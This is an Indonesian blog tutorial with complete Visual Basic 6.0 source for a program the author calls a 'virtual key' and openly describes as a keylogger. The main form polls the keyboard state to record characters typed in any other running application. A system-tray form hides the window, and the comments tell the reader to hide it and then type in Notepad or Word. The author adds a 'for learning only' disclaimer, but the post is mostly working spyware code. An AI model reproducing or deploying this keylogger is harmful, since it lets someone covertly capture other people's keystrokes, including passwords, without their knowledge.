Virtual key Berfungsi untuk mencatat semua kegiatan yang kita lakukan di dalam sebuah computer , Ada pun fungsi yang lain yang bisa kita lakukan denggan virtual key yaitu : Menggambil Kode dari orang lain atau sering disebut Keylogger , Tapi untuk fungsi yang satu ini tidak saya sarankan karena akan merugikan orang lain . Karena Artikel ini saya buat hanya untuk pembelajaran saja bukan untuk kejahatan .
Pada kesempatan kali ini saya akan membuat Virtual key Mengunakakan Visual Basic 6.0 Yang sudah sangat familiar untuk para Programmer baik yang pemula maupu yang sudah Professional .
Langkah pertama Yang harus anda lakukan Adalah Membuka Visual basic Kemudian memilih Standart EXE Dan buatlah sebuah Form Seperti Gambar di Bawah ini:
Kemudian setelah membuat Form tersebut ,Anda tinggal memasukkan Propetinya :
Name | Interval | Enabled | Align | |
PictureBox1 | Pic1 | - | True | 0 – None |
PictureBox2 | Pic2 | - | True | 0 – None |
Timer | Tmr | 0 | True | - |
Form | FrmSysTray | - | - | - |
Untuk Menu Nya Buatlah Seperti Gambar Berikut:
Dan Inilah Definisinya:
1. Caption : &PopupMenu
Name : mPopupMenu
2. Caption : Tampilkan &VirKey
Name : mRestore
3. Caption : &Minimalkan/Sembunyikan
Name : mMinimize
4. Caption : -
Name : Spasi
5. Caption : &Tentang
Name : mAbout
6. Caption : -
Name : Spasi2
7. Caption : &Selesai
Nama : mExit
Gambar di atas itu untuk membuat Systray nya Dan fungsinya untuk menyembunyikan Form Saat Form di Minimalkan
Untuk memmbuat Form Utamanya , Buatlah sebuah Form Lagi Seperti Gambar Beikut:
Name | Caption | Interval | Alignment | |
Form | frmVirKey | Virtualkey Code | - | - |
CheckBox | ckbDetectShiftAlone | Detect Single SHIFT | - | 0-Left Justify |
Frame | fraKeyCode | Key Code | - | - |
Label | lblCapsLock | lblCapsLock | - | 0-Left Justify |
Label | lblNumLock | lblNumLock | - | 0-Left Justify |
Label | lblScrollLock | lblScrollLock | - | 0-Left Justify |
Label | lblVirtualKey | lblVirtualKey | - | 2-Center |
Shape1 | Shape1 | - | - | - |
Timer | Timer1 | - | 2 | - |
TextBox | txbKeyHistory | - | - | 0-Left Justify |
Setelah selesai membuat semuanya Sekarang tinggal Kita memasukkan Kode nya kedalam Form Tersebut:
Untuk Form Systray Masukkanlah Kode berikut:
‘ CopyRight © Rougerdeluffy
‘ Hanya Untuk Pembelajaran
‘ Tidak Untuk kejahatan
Option Explicit
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean
Private Const NIM_ADD = &H0
Private Const NIM_MODIFY = &H1
Private Const NIM_DELETE = &H2
Private Const NIF_TIP = &H4
Private Const WM_MOUSEMOVE = &H200
Private Const WM_RBUTTONDBLCLK = &H206
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP = &H205
Private Const WM_LBUTTONDBLCLK = &H203
Private Const WM_LBUTTONDOWN = &H201
Private Const WM_LBUTTONUP = &H202
Private Const WM_MBUTTONDBLCLK = &H209
Private Const WM_MBUTTONDOWN = &H207
Private Const WM_MBUTTONUP = &H208
Private Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type
Public WithEvents FSys As Form
Public Event Click(ClickWhat As String)
Public Event TIcon(F As Form)
Private nid As NOTIFYICONDATA
Private LastWindowState As Integer
Public Property Let Tooltip(Value As String)
nid.szTip = Value & vbNullChar
End Property
Public Property Get Tooltip() As String
Tooltip = nid.szTip
End Property
Public Property Let Interval(Value As Integer)
Tmr.Interval = Value
UpdateIcon NIM_MODIFY
End Property
Public Property Get Interval() As Integer
Interval = Tmr.Interval
End Property
Public Property Let TrayIcon(Value)
Tmr.Enabled = False
On Error Resume Next
' Value can be a picturebox, image, form or string
Select Case TypeName(Value)
Case "PictureBox", "Image"
Me.Icon = Value.Picture
Tmr.Enabled = False
RaiseEvent TIcon(Me)
Case "String"
If (UCase(Value) = "DEFAULT") Then
Tmr.Enabled = True
Me.Icon = Flash2.Picture
RaiseEvent TIcon(Me)
Else
' Sting is filename; load icon from picture file.
Tmr.Enabled = True
Me.Icon = LoadPicture(Value)
RaiseEvent TIcon(Me)
End If
Case Else
' It's a form ?
Me.Icon = Value.Icon
RaiseEvent TIcon(Me)
End Select
If Err.Number <> 0 Then TmrFlash.Enabled = True
UpdateIcon NIM_MODIFY
End Property
Private Sub Form_Load()
Me.Icon = Pic1
RaiseEvent TIcon(Me)
Me.Visible = False
TmrFlash.Enabled = True
Tooltip = App.EXEName
mAbout.Caption = "Tentang " & App.EXEName
UpdateIcon NIM_ADD
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim Result As Long
Dim msg As Long
' The Form_MouseMove is intercepted to give systray mouse events.
If Me.ScaleMode = vbPixels Then
msg = X
Else
msg = X / Screen.TwipsPerPixelX
End If
Select Case msg
Case WM_RBUTTONDBLCLK
RaiseEvent Click("RBUTTONDBLCLK")
'Case WM_LBUTTONCLK
' RaiseEvent Click("LBUTTONDBLCLK")
Case WM_RBUTTONDOWN
RaiseEvent Click("RBUTTONDOWN")
Case WM_RBUTTONUP
' Popup menu: selectively enable items dependent on context.
Select Case FSys.Visible
Case True
Select Case FSys.WindowState
Case vbMaximized
mMinimize.Enabled = True
mRestore.Enabled = False
Case vbNormal
mMinimize.Enabled = True
mRestore.Enabled = False
Case vbMinimized
mMinimize.Enabled = False
mRestore.Enabled = True
Case Else
mMinimize.Enabled = True
mRestore.Enabled = True
End Select
Case Else
mRestore.Enabled = True
mMinimize.Enabled = False
End Select
RaiseEvent Click("RBUTTONUP")
PopupMenu mPopupMenu
Case WM_LBUTTONDBLCLK
RaiseEvent Click("LBUTTONDBLCLK")
mRestore_Click
Case WM_LBUTTONDOWN
RaiseEvent Click("LBUTTONDOWN")
Case WM_LBUTTONUP
RaiseEvent Click("LBUTTONUP")
Case WM_MBUTTONDBLCLK
RaiseEvent Click("MBUTTONDBLCLK")
Case WM_MBUTTONDOWN
RaiseEvent Click("MBUTTONDOWN")
Case WM_MBUTTONUP
RaiseEvent Click("MBUTTONUP")
Case WM_MOUSEMOVE
RaiseEvent Click("MOUSEMOVE")
Case Else
RaiseEvent Click("OTHER....: " & Format$(msg))
End Select
End Sub
Private Sub FSys_Resize()
' Event generated my main form. WindowState is stored in LastWindowState, so that
' it may be re- set when the menu item "Restore" is selected.
If (FSys.WindowState <> vbMinimized) Then LastWindowState = FSys.WindowState
End Sub
Private Sub FSys_Unload(Cancel As Integer)
' Important: remove icon from tray, and unload this form when
' the main form is unloaded.
UpdateIcon NIM_DELETE
Unload Me
End
End Sub
Private Sub mAbout_Click()
MsgBox "Created by Rougerdeluffy " & Chr(13) & _
"and Modified by Luton" & Chr(13) & _
“ Kunjunggi blogsaya di http:// Rougerdeluffy.blogspot.com” & Chr(13) & _
"FrmSysTray by Rougerdeluffy", vbInformation, "About Programmer"
End Sub
Private Sub mMinimize_Click()
On Error Resume Next
FSys.WindowState = vbMinimized
End Sub
Public Sub mExit_Click()
Unload FSys
End Sub
Private Sub mRestore_Click()
On Error GoTo err_mRestore_Click
' Don't "restore" FSys is visible and not minimized.
If (FSys.Visible And FSys.WindowState <> vbMinimized) Then Exit Sub
' Restore LastWindowState
FSys.WindowState = LastWindowState
FSys.Visible = True
SetForegroundWindow FSys.hwnd
Exit Sub
err_mRestore_Click:
MsgBox Err.Number + Err.Description
Exit Sub
End Sub
Private Sub UpdateIcon(Value As Long)
' Used to add, modify and delete icon.
With nid
.cbSize = Len(nid)
.hwnd = Me.hwnd
.uID = vbNull
.uFlags = NIM_DELETE Or NIF_TIP Or NIM_MODIFY
.uCallbackMessage = WM_MOUSEMOVE
.hIcon = Me.Icon
End With
Shell_NotifyIcon Value, nid
End Sub
Public Sub MeQueryUnload(ByRef F As Form, Cancel As Integer, UnloadMode As Integer)
If UnloadMode = vbFormControlMenu Then
' Cancel by setting Cancel = 1, minimize and hide main window.
Cancel = 1
F.WindowState = vbMinimized
F.Hide
End If
End Sub
Public Sub MeResize(ByRef F As Form)
On Error Resume Next
Select Case F.WindowState
Case vbNormal, vbMaximized
' Store LastWindowState
LastWindowState = F.WindowState
Case vbMinimized
F.Hide
End Select
End Sub
Private Sub Tmr_Timer()
' Change icon.
Static LastIconWasFlash1 As Boolean
LastIconWasFlash1 = Not LastIconWasFlash1
Select Case LastIconWasFlash1
Case True
Me.Icon = Pic2
Case Else
Me.Icon = Pic1
End Select
RaiseEvent TIcon(Me)
UpdateIcon NIM_MODIFY
End Sub
Untuk Form Utama Masukkan kode berikut:
'Adding FrmSysTray --> by Rougerdeluffy
'Contoh source code merekam karakter yang diketik
'di aplikasi apapun yang bersamaan berjalan dengan
'aplikasi ini. Jalankan aplikasi ini lalu sembunyikan
'ke SysTray, lalu coba buka Notepad atau MS Word,
'lalu ketikkan beberapa kalimat. Tampilkan lagi aplikasi
'ini lalu lihat hasilnya pada textbox yg ada.
'Hanya untuk pembelajaran saja
Option Explicit
Dim WithEvents FormSys As FrmSysTray
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128 ' Maintenance string for PSS usage
End Type
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" _
(lpVersionInformation As OSVERSIONINFO) As Long
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, _
ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Private Declare Function SetKeyboardState Lib "user32" (lppbKeyState As Byte) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Const VK_SHIFT = &H10
Const VK_CONTROL = &H11
Const VK_CAPITAL = &H14
Const VK_NUMLOCK = &H90
Const VK_SCROLL = &H91
Const KEYEVENTF_EXTENDEDKEY = &H1
Const KEYEVENTF_KEYUP = &H2
Const VER_PLATFORM_WIN32_NT = 2
Const VER_PLATFORM_WIN32_WINDOWS = 1
' Note VK_A to VK_Z, and VK_0 to VK_9 are the same as their ASCII
'-----------------------------------------------------------------------------
' The following are listed for reference only, not being used here
Private Const VK_LBUTTON = &H1
Private Const VK_RBUTTON = &H2
Private Const VK_CANCEL = &H3
Private Const VK_MBUTTON = &H4
Private Const VK_CLEAR = &HC
Private Const VK_PRIOR = &H21
Private Const VK_SELECT = &H29
Private Const VK_PRINT = &H2A
Private Const VK_EXECUTE = &H2B
Private Const VK_SNAPSHOT = &H2C
Private Const VK_HELP = &H2F
Private Const VK_SEPARATOR = &H6C
' VK_L VK_R - used only in GetAsyncKeyState() and GetKeyState()
Private Const VK_LSHIFT = &HA0
Private Const VK_RSHIFT = &HA1
Private Const VK_LCONTROL = &HA2
Private Const VK_RCONTROL = &HA3
Private Const VK_LMENU = &HA4 ' Left ALT
Private Const VK_RMENU = &HA5
Private Const VK_ATTN = &HF6
Private Const VK_CRSEL = &HF7
Private Const VK_EXSEL = &HF8
Private Const VK_EREOF = &HF9
Private Const VK_PLAY = &HFA
Private Const VK_ZOOM = &HFB
Private Const VK_NONAME = &HFC
Private Const VK_PA1 = &HFD
Private Const VK_OEM_CLEAR = &HFE
'-----------------------------------------------------------------
Const IsTrue = -32767
Dim WinVer As Long
Dim ShiftOn As Boolean
Dim vKey As Long
Private Sub Form_Load()
Dim OSVer As OSVERSIONINFO
'Load FormSys; set reference to me
Set FormSys = New FrmSysTray
Load FormSys
Set FormSys.FSys = Me
OSVer.dwOSVersionInfoSize = Len(OSVer)
WinVer = GetVersionEx(OSVer)
txbKeyHistory.Text = ""
' We default this
ckbDetectShiftAlone.Value = 0
' Clear Shift state if on.
If KeyStatus(VK_SHIFT) Then
ToggleState VK_SHIFT
End If
ShiftOn = False
' Display current states of NUM, CAPS & SCROLL Locks
If KeyStatus(VK_NUMLOCK) Then
lblNumLock.Caption = "Num = On"
Else
lblNumLock.Caption = "Num = Off"
End If
If KeyStatus(VK_CAPITAL) Then
lblCapsLock.Caption = "Cap = On"
Else
lblCapsLock.Caption = "Cap = Off"
End If
If KeyStatus(VK_SCROLL) Then
lblScrollLock.Caption = "Scroll = On"
Else
lblScrollLock.Caption = "Scroll = Off"
End If
End Sub
Private Sub ckbDetectShiftAlone_Click()
If ckbDetectShiftAlone.Value = 1 Then
If KeyStatus(VK_SHIFT) Then
ShiftOn = True
Else
ShiftOn = False
End If
Else
' Clear Shift state if on.
If KeyStatus(VK_SHIFT) Then
ToggleState VK_SHIFT
End If
ShiftOn = False
End If
End Sub
Private Sub Form_Resize()
FrmSysTray.MeResize Me
End Sub
Private Sub Timer1_Timer()
Dim KeyDisp As String
Dim mShift As Boolean
DoEvents
KeyDisp = ""
mShift = False
If ckbDetectShiftAlone.Value = 1 Then ' Checked
If ShiftOn = False Then
If GetKeyState(&H10) Then
ShiftOn = True
'KeyDisp = "[SHIFT]"
GoTo Done
End If
Else
If GetKeyState(&H10) = False Then
ShiftOn = False
'KeyDisp = "[SHIFT]"
GoTo Done
End If
End If
End If
If GetAsyncKeyState(&H8) = IsTrue Then
'KeyDisp = "[BKSPACE]"
KeyDisp = ""
ElseIf GetAsyncKeyState(&H9&) = IsTrue Then
KeyDisp = "[TAB]"
ElseIf GetAsyncKeyState(&HD&) = IsTrue Then
KeyDisp = "[ENTER]"
ElseIf GetAsyncKeyState(&H11) = IsTrue Then
'KeyDisp = "[CTRL]"
ElseIf GetAsyncKeyState(&H12) = IsTrue Then ' VK_MENU
'KeyDisp = "[ALT]"
ElseIf GetAsyncKeyState(&H13) = IsTrue Then
'KeyDisp = "[PAUSE]"
ElseIf GetAsyncKeyState(&H14) = IsTrue Then ' VK_CAPITAL
'KeyDisp = "[Caps Lock]"
KeyDisp = ""
If lblCapsLock.Caption = "Cap = On" Then
lblCapsLock.Caption = "Cap = Off"
Else
lblCapsLock.Caption = "Cap = On"
End If
ElseIf GetAsyncKeyState(&H1B&) = IsTrue Then
'KeyDisp = "[ESC]"
KeyDisp = ""
ElseIf GetAsyncKeyState(&H20) = IsTrue Then
'KeyDisp = "[SPACE]"
KeyDisp = " "
ElseIf GetAsyncKeyState(&H21) = IsTrue Then
KeyDisp = "[PGUP]"
ElseIf GetAsyncKeyState(&H22) = IsTrue Then
KeyDisp = "[PGDN]"
ElseIf GetAsyncKeyState(&H23) = IsTrue Then
KeyDisp = "[END]"
ElseIf GetAsyncKeyState(&H24) = IsTrue Then
KeyDisp = "[HOME]"
ElseIf GetAsyncKeyState(&H25) = IsTrue Then
KeyDisp = "[LEFT]"
ElseIf GetAsyncKeyState(&H26) = IsTrue Then
KeyDisp = "[UP]"
ElseIf GetAsyncKeyState(&H27) = IsTrue Then
KeyDisp = "[RIGHT]"
ElseIf GetAsyncKeyState(&H28) = IsTrue Then
KeyDisp = "[DOWN]"
ElseIf GetAsyncKeyState(&H2D&) = IsTrue Then
KeyDisp = "[INS]"
ElseIf GetAsyncKeyState(&H2E&) = IsTrue Then
KeyDisp = "[DEL]"
ElseIf GetAsyncKeyState(&H5B&) = IsTrue Then
KeyDisp = "[A short cut]"
ElseIf GetAsyncKeyState(&H5C&) = IsTrue Then
KeyDisp = "[A short cut]"
ElseIf GetAsyncKeyState(&H5D&) = IsTrue Then
KeyDisp = "[A short cut]"
' The folliwng would be operative if Num Lock is on.
ElseIf GetAsyncKeyState(&H60) = IsTrue Then
KeyDisp = "0"
ElseIf GetAsyncKeyState(&H61) = IsTrue Then
KeyDisp = "1"
ElseIf GetAsyncKeyState(&H62) = IsTrue Then
KeyDisp = "2"
ElseIf GetAsyncKeyState(&H63) = IsTrue Then
KeyDisp = "3"
ElseIf GetAsyncKeyState(&H64) = IsTrue Then
KeyDisp = "4"
ElseIf GetAsyncKeyState(&H65) = IsTrue Then
KeyDisp = "5"
ElseIf GetAsyncKeyState(&H66) = IsTrue Then
KeyDisp = "6"
ElseIf GetAsyncKeyState(&H67) = IsTrue Then
KeyDisp = "7"
ElseIf GetAsyncKeyState(&H68) = IsTrue Then
KeyDisp = "8"
ElseIf GetAsyncKeyState(&H69) = IsTrue Then
KeyDisp = "9"
ElseIf GetAsyncKeyState(&H6A&) = IsTrue Then
KeyDisp = "*"
ElseIf GetAsyncKeyState(&H6B&) = IsTrue Then
KeyDisp = "+"
ElseIf GetAsyncKeyState(&H6D&) = IsTrue Then
KeyDisp = "-"
ElseIf GetAsyncKeyState(&H6E&) = IsTrue Then
KeyDisp = "."
ElseIf GetAsyncKeyState(&H6F&) = IsTrue Then
KeyDisp = "/"
ElseIf GetAsyncKeyState(&H70) = IsTrue Then
KeyDisp = "[F1]"
ElseIf GetAsyncKeyState(&H71) = IsTrue Then
KeyDisp = "[F2]"
ElseIf GetAsyncKeyState(&H72) = IsTrue Then
KeyDisp = "[F3]"
ElseIf GetAsyncKeyState(&H73) = IsTrue Then
KeyDisp = "[F4]"
ElseIf GetAsyncKeyState(&H74) = IsTrue Then
KeyDisp = "[F5]"
ElseIf GetAsyncKeyState(&H75) = IsTrue Then
KeyDisp = "[F6]"
ElseIf GetAsyncKeyState(&H76) = IsTrue Then
KeyDisp = "[F7]"
ElseIf GetAsyncKeyState(&H77) = IsTrue Then
KeyDisp = "[F8]"
ElseIf GetAsyncKeyState(&H78) = IsTrue Then
KeyDisp = "[F9]"
ElseIf GetAsyncKeyState(&H79) = IsTrue Then
KeyDisp = "[F10]"
ElseIf GetAsyncKeyState(&H7A&) = IsTrue Then
KeyDisp = "[F11]"
ElseIf GetAsyncKeyState(&H7B&) = IsTrue Then
KeyDisp = "[F12]"
ElseIf GetAsyncKeyState(&H90) = IsTrue Then
'KeyDisp = "[Num Lock]"
If lblNumLock.Caption = "Num = On" Then
lblNumLock.Caption = "Num = Off"
Else
lblNumLock.Caption = "Num = On"
End If
ElseIf GetAsyncKeyState(&H91) = IsTrue Then
KeyDisp = "[Scroll Lock]"
If lblScrollLock.Caption = "Scroll = On" Then
lblScrollLock.Caption = "Scroll = Off"
Else
lblScrollLock.Caption = "Scroll = On"
End If
End If
If Len(KeyDisp) > 0 Then
GoTo Done
End If
For vKey = 33 To 256
If GetAsyncKeyState(vKey) = IsTrue Then
'------------------------------------------------------------------------
' If we have to check SHIFT state alone, then we don't distinguish cases
'------------------------------------------------------------------------
If ckbDetectShiftAlone.Value = 1 Then
If vKey = &HBA& Then
KeyDisp = ":"
ElseIf vKey = &HBB& Then
KeyDisp = "+"
ElseIf vKey = &HBC& Then
KeyDisp = "<"
ElseIf vKey = &HBD& Then
KeyDisp = "_"
ElseIf vKey = &HBE& Then
KeyDisp = ">"
ElseIf vKey = &HBF& Then
KeyDisp = "?"
ElseIf vKey = &HC0& Then
KeyDisp = "`"
ElseIf vKey = &HDB& Then
KeyDisp = "{"
ElseIf vKey = &HDC& Then
KeyDisp = "|"
ElseIf vKey = &HDD& Then
KeyDisp = "}"
ElseIf vKey = &HDE& Then
KeyDisp = "" & """"
ElseIf vKey = &HFF& Then
KeyDisp = "[Fn]"
Else
KeyDisp = Chr(vKey)
End If
'------------------------------------------------------------------------
' If we are NOT to detect a single SHIFT, then we perform the following
' to show appropriate case. For low case, normal "(ASCII)" is shown.
'------------------------------------------------------------------------
Else
' For A-Z
If vKey >= 65 And vKey <= 90 Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = Chr(vKey)
mShift = True
Else
KeyDisp = Chr(vKey + 32)
End If
'-------------------------------------------------------------------
' For 0-9. Note: (1) With normal keyboard, 0-9 are display without
' SHIFT (the opposite) (The same for "-" & "=" later). (2) "-" & "="
' are displayed indiscrimately under virtual key scheme.
'-------------------------------------------------------------------
ElseIf vKey >= 48 And vKey <= 57 Then
If KeyStatus(VK_SHIFT) Then
Select Case vKey
Case 48
KeyDisp = ")"
Case 49
KeyDisp = "!"
Case 50
KeyDisp = "@"
Case 51
KeyDisp = "#"
Case 52
KeyDisp = "$"
Case 53
KeyDisp = "%"
Case 54
KeyDisp = "^"
Case 55 'Ampersand, hence "&&", otherwise "_" would be shown
KeyDisp = "&&"
Case 56
KeyDisp = "*"
Case 57
KeyDisp = "("
End Select
mShift = True
Else
KeyDisp = Chr(vKey)
End If
'---------------------------------------------------------------------
' The following are yet other non-functional keyboard keys which would
' otherwise be of a different case if SHIFT is not pressed. In order
' to display them correctly, we test the state of SHFIT key.
'---------------------------------------------------------------------
ElseIf vKey = &HBA& Then
If KeyStatus(VK_SHIFT) Then
' As before
KeyDisp = ":"
mShift = True
Else
KeyDisp = ";"
End If
ElseIf vKey = &HBB& Then
' See comment in 0-9 (opposite)
If KeyStatus(VK_SHIFT) Then
KeyDisp = "+"
mShift = True
Else
KeyDisp = "="
End If
ElseIf vKey = &HBC& Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = "<"
mShift = True
Else
KeyDisp = ","
End If
ElseIf vKey = &HBD& Then
' See comment in 0-9 (opposite)
If KeyStatus(VK_SHIFT) Then
KeyDisp = "_"
mShift = True
Else
KeyDisp = "-"
End If
ElseIf vKey = &HBE& Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = ">"
mShift = True
Else
KeyDisp = "."
End If
ElseIf vKey = &HBF& Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = "?"
mShift = True
Else
KeyDisp = "/"
End If
ElseIf vKey = &HC0& Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = "~"
mShift = True
Else
KeyDisp = "`"
End If
ElseIf vKey = &HDB& Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = "{"
mShift = True
Else
KeyDisp = "["
End If
ElseIf vKey = &HDC& Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = "|"
mShift = True
Else
KeyDisp = "\"
End If
ElseIf vKey = &HDD& Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = "}"
mShift = True
Else
KeyDisp = "]"
End If
ElseIf vKey = &HDE& Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = "" & """"
mShift = True
Else
KeyDisp = "'"
End If
ElseIf vKey = &HFF& Then
If KeyStatus(VK_SHIFT) Then
KeyDisp = "[Fn]"
mShift = True
Else
KeyDisp = "[Menu]"
End If
Else ' We don't know what it will be specifically
If KeyStatus(VK_SHIFT) Then
mShift = True
End If
KeyDisp = Chr(vKey)
End If
End If
GoTo Done
End If
DoEvents
Next vKey
Exit Sub
Done:
lblVirtualKey.Caption = KeyDisp
txbKeyHistory = txbKeyHistory + KeyDisp
If mShift Then
ToggleState VK_SHIFT
End If
Exit Sub
End Sub
Private Function KeyStatus(ByVal inVal As Long) As Boolean
Dim OSVer As OSVERSIONINFO
Dim arrKeys(0 To 255) As Byte
OSVer.dwOSVersionInfoSize = Len(OSVer)
GetKeyboardState arrKeys(0)
KeyStatus = arrKeys(inVal)
End Function
Private Function DecToHexStr(ByVal inVal As Integer) As String
Dim s As String
s = Trim(Hex(inVal))
If Len(s) < 2 Then
s = "0" & s
End If
DecToHexStr = s
End Function
Private Sub ToggleState(ByVal inVal As Long)
Dim arrKeys(0 To 255) As Byte
GetKeyboardState arrKeys(0)
' Note: per MS, SetKeyboardState() is not working OK, avoid using it
If WinVer = VER_PLATFORM_WIN32_WINDOWS Then ' Win95/98
arrKeys(inVal) = 1
SetKeyboardState arrKeys(1)
ElseIf WinVer = VER_PLATFORM_WIN32_NT Then ' WinNT
keybd_event inVal, &H45, KEYEVENTF_EXTENDEDKEY Or 0, 0
keybd_event inVal, &H45, KEYEVENTF_EXTENDEDKEY Or KEYEVENTF_KEYUP, 0
End If
DoEvents
End Sub
Setelah semuanya selesai di buat sekarang tinggal anda jalankan saja Aplikasi tersebut denggan Menekan tombol F5 Pada Keyboard anda.
Selamat mencoba , Bila ada kesulitan Comment aja di blog saya atau kirim Email ke : Rougerdeluffy @ Yahoo.co.id .
0 comments:
Post a Comment